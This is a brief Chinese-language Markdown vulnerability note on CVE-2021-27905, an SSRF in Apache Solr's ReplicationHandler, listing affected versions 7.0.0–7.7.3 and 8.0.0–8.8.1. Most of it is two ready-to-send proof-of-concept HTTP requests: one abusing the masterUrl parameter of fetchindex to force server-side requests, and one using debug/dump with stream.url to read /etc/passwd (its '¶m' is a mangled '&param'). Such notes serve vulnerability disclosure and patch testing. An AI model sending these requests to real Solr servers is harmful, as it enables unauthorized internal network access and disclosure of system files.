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33 lines
890 B
Markdown
33 lines
890 B
Markdown
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# Apache Solr Replication handler SSRF CVE-2021-27905
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## 漏洞描述
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Apache Solr是一个开源搜索服务引擎，Solr 使用 Java 语言开发，主要基于 HTTP 和 Apache Lucene 实现。漏洞产生在 ReplicationHandler 中的 masterUrl 参数（ leaderUrl 参数）可指派另一个 Solr 核心上的 ReplicationHandler 讲索引数据复制到本地核心上。成功利用此漏洞可造成服务端请求伪造漏洞。
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参考链接：
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* https://nvd.nist.gov/vuln/detail/CVE-2021-27905
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## 漏洞影响
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```
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Apache Solr 7.0.0 - 7.7.3 Apache Solr 8.0.0 - 8.8.1
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```
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### 漏洞复现
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poc：
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```
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GET /solr/test/replication?command=fetchindex&masterUrl=http://127.0.0.1/&wt=json&httpBasicAuthUser=&httpBasicAuthPassword= HTTP/1.1
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HOST:target
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....
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```
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```
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GET http://xxxxx/solr/xxxx/debug/dump?stream.url=file:///etc/passwd¶m=ContentStream HTTP/1.1
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HOST:target
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...
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```
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